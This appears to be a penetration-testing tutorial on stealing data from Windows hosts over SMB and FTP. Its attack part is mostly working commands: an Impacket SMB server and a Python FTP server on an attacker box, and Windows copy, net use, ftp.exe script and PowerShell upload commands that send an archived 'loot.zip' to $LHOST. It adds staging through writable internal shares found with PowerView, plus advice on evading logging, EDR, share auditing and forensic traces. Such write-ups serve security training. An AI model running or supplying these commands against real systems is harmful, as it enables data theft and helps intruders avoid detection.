Skip to content

Windows Exfiltration over SMB and FTP

5 min read Created Apr 4, 2026 Last updated May 15, 2026

SMB and FTP are native Windows protocols with built-in client support on every Windows version. Both avoid dropping extra tooling on the target:

  • SMB (port 445) is the faster option with direct file copy and no encoding overhead

  • FTP (port 21) works as a fallback when SMB is blocked but legacy transfer is permitted outbound

  • Both support authentication, making them usable in environments that block anonymous connections

Neither protocol requires base64 encoding or additional binaries on the target.

Before transferring, compress and archive the target data into a single file. A zip or 7z archive reduces transfer size and limits the number of individual file events in endpoint logs. Use a temp path that blends in, such as C:\Windows\Temp or C:\ProgramData, rather than staging files somewhere conspicuous like the desktop.

SMB exfiltration

Set up the Impacket SMB server on your attack box. It listens on port 445 and accepts incoming connections from the target. The server runs on Linux. Once the server is up, use native Windows copy commands from the target to write files to the share. No additional tooling is needed on the target side.

┌──(kali㉿kali)-[~]
└─$ # Impacket SMB server: no authentication
┌──(kali㉿kali)-[~]
└─$ impacket-smbserver exfil . -smb2support
 
┌──(kali㉿kali)-[~]
└─$ # With authentication (required by some Windows versions)
┌──(kali㉿kali)-[~]
└─$ impacket-smbserver exfil . -smb2support -username $USER -password $PASSWORD
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-...
[*] Server started, listening on 0.0.0.0:445
PS C:\Users\Guest\Desktop> # Direct copy: no mount needed
PS C:\Users\Guest\Desktop> copy C:\Windows\Temp\loot.zip \\$LHOST\exfil\loot.zip
 
PS C:\Users\Guest\Desktop> # With credentials
PS C:\Users\Guest\Desktop> net use \\$LHOST\exfil /user:$USER $PASSWORD
PS C:\Users\Guest\Desktop> copy C:\Windows\Temp\loot.zip \\$LHOST\exfil\
net use \\$LHOST\exfil /delete
 
PS C:\Users\Guest\Desktop> # PowerShell
PS C:\Users\Guest\Desktop> $cred = New-Object System.Management.Automation.PSCredential($USER, (ConvertTo-SecureString $PASSWORD -AsPlainText -Force))
PS C:\Users\Guest\Desktop> New-PSDrive -Name X -PSProvider FileSystem -Root \\$LHOST\exfil -Credential $cred
PS C:\Users\Guest\Desktop> Copy-Item C:\Windows\Temp\loot.zip X:\
Remove-PSDrive X

Windows 10 1709 and later require SMBv2 or higher. The -smb2support flag in impacket handles this. If transfers fail with access denied errors, add authentication to the server and use net use with credentials on the target. Watch the impacket console: each successful file write logs the filename and source IP. A failed write produces no server-side log entry, so confirm from the target that the copy command exited cleanly.

Windows Defender and common EDR products do not flag SMB copy to an external IP by default. Firewall rules or DLP solutions may still block outbound port 445. If the transfer hangs without an error message, the firewall is likely dropping the connection silently. Fall back to FTP or switch to an HTTP-based transfer method in that case.

FTP exfiltration

FTP requires the Windows ftp.exe client, which ships with all default Windows installations. The script file method works in non-interactive shells where you cannot type commands manually. Write the FTP commands to a temp file, then pass it to ftp.exe with the -s flag. The binary mode flag is critical for non-text files. Without it, FTP performs ASCII translation and corrupts binary data.

┌──(kali㉿kali)-[~]
└─$ # Python FTP server with write access
┌──(kali㉿kali)-[~]
└─$ pipx install pyftpdlib
┌──(kali㉿kali)-[~]
└─$ pyftpdlib -p 21 -w
 
┌──(kali㉿kali)-[~]
└─$ # With authentication
┌──(kali㉿kali)-[~]
└─$ python3 -c "
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer
auth = DummyAuthorizer()
auth.add_user('$USER', '$PASSWORD', '.', perm='elradfmwMT')
handler = FTPHandler
handler.authorizer = auth
server = FTPServer(('0.0.0.0', 21), handler)
server.serve_forever()
"
PS C:\Users\Guest\Desktop> # FTP script file method: works in non-interactive shells
PS C:\Users\Guest\Desktop> $ftp = "open $LHOST 21`nuser anonymous anonymous`nbinary`nput C:\Windows\Temp\loot.zip loot.zip`nbye"
PS C:\Users\Guest\Desktop> $ftp | Out-File C:\Windows\Temp\ftp.txt -Encoding ASCII
PS C:\Users\Guest\Desktop> ftp -v -n -s:C:\Windows\Temp\ftp.txt
 
PS C:\Users\Guest\Desktop> # PowerShell FTP upload
PS C:\Users\Guest\Desktop> $ftpRequest = [System.Net.FtpWebRequest]::Create("ftp://$LHOST/loot.zip")
PS C:\Users\Guest\Desktop> $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
PS C:\Users\Guest\Desktop> $ftpRequest.Credentials = New-Object System.Net.NetworkCredential('anonymous', 'anonymous')
PS C:\Users\Guest\Desktop> $fileBytes = [System.IO.File]::ReadAllBytes('C:\Windows\Temp\loot.zip')
PS C:\Users\Guest\Desktop> $ftpRequest.ContentLength = $fileBytes.Length
PS C:\Users\Guest\Desktop> $stream = $ftpRequest.GetRequestStream()
PS C:\Users\Guest\Desktop> $stream.Write($fileBytes, 0, $fileBytes.Length)
PS C:\Users\Guest\Desktop> $stream.Close()
PS C:\Users\Guest\Desktop> $ftpRequest.GetResponse()

Exfiltration via existing SMB shares

In internal network engagements, data does not always need to travel back to your attack box directly. Accessible shares on other internal hosts serve as staging points for collection before final extraction. This approach is useful when direct outbound connections from the target are blocked but lateral SMB connections between internal hosts are permitted.

Use PowerView's Find-DomainShare with -CheckShareAccess to identify writable shares across the domain. The Writeable property in the output confirms write access. Check the share path before writing: shares under user home directories or department folders carry lower detection risk than shares on dedicated file servers, which often have auditing enabled and generate alerts on new file writes.

After copying data to an internal share, retrieve it from a host that has outbound connectivity. If that host already has an SMB session to your attack box, you can pull directly from the staged location. Clean up after retrieval to reduce forensic artifacts. Delete the staged file and, if you used net use, disconnect the mapped drive before moving on.

PS C:\Users\Guest\Desktop> # Find writable shares across the domain with PowerView
PS C:\Users\Guest\Desktop> Find-DomainShare -CheckShareAccess | Where-Object {$_.Writeable -eq $true}
 
PS C:\Users\Guest\Desktop> # Copy to writable share
PS C:\Users\Guest\Desktop> copy C:\Windows\Temp\loot.zip \\internal-server\writableshare\loot.zip
 
PS C:\Users\Guest\Desktop> # Verify write succeeded
PS C:\Users\Guest\Desktop> dir \\internal-server\writableshare\